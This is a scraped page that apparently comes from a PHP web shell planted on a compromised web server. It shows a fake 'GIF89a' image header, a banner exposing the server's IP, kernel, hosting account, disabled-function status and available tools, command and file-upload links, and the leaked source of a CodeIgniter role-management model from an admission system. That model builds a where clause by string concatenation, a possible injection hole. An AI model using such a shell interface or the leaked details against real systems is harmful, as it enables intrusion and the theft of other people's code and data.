GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.221.238.204 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model For Handling All DB Operations Related To Roles * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class RoleManagement extends CI_Model { function createNewRole(array $newRoleInfo) { $this->db->insert('tbl_role_master', $newRoleInfo); return $this->db->insert_id(); } function getAllRoles() { $this->db->select("TRM.role_id,TRM.role_name,TRM.role_code,TRM.role_active_status,TRM.role_delete_status," . "TRM.role_added_by,TRM.role_added_on,TRM.role_updated_by,TRM.role_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_role_master TRM'); $this->db->join('tbl_staff_members TSMA', 'TRM.role_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRM.role_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TRM.role_updated_on", "desc"); return $this->db->get(); } function getRoleInfoBy($role_id) { $this->db->select("TRM.role_id,TRM.role_name,TRM.role_code,TRM.role_active_status,TRM.role_delete_status," . "TRM.role_added_by,TRM.role_added_on,TRM.role_updated_by,TRM.role_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_role_master TRM'); $this->db->join('tbl_staff_members TSMA', 'TRM.role_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRM.role_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRM.role_id", $role_id); return $this->db->get(); } function getRoleInfoByName($role_name) { $this->db->select("TRM.role_id,TRM.role_name,TRM.role_code,TRM.role_active_status,TRM.role_delete_status," . "TRM.role_added_by,TRM.role_added_on,TRM.role_updated_by,TRM.role_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_role_master TRM'); $this->db->join('tbl_staff_members TSMA', 'TRM.role_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRM.role_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRM.role_name", $role_name); return $this->db->get(); } function getRoleInfoByCode($role_code) { $this->db->select("TRM.role_id,TRM.role_name,TRM.role_code,TRM.role_active_status,TRM.role_delete_status," . "TRM.role_added_by,TRM.role_added_on,TRM.role_updated_by,TRM.role_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_role_master TRM'); $this->db->join('tbl_staff_members TSMA', 'TRM.role_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRM.role_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRM.role_code", $role_code); return $this->db->get(); } function getNonDeletedRoles() { $this->db->select("*"); $this->db->from('tbl_role_master TRM'); $this->db->where("TRM.role_delete_status", "F"); $this->db->order_by("TRM.role_updated_on", "desc"); return $this->db->get(); } function isRoleNameSafeUpdate($role_id, $role_name) { $this->db->select("*"); $this->db->from('tbl_role_master'); $this->db->where('role_name', $role_name); $this->db->where('role_id != ' . $role_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isRoleCodeSafeUpdate($role_id, $role_code) { $this->db->select("*"); $this->db->from('tbl_role_master'); $this->db->where('role_code', $role_code); $this->db->where('role_id != ' . $role_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateRoleInfo(array $roleUpdatedInfo) { $this->db->where('role_id', $roleUpdatedInfo['role_id']); return $this->db->update('tbl_role_master', $roleUpdatedInfo); } }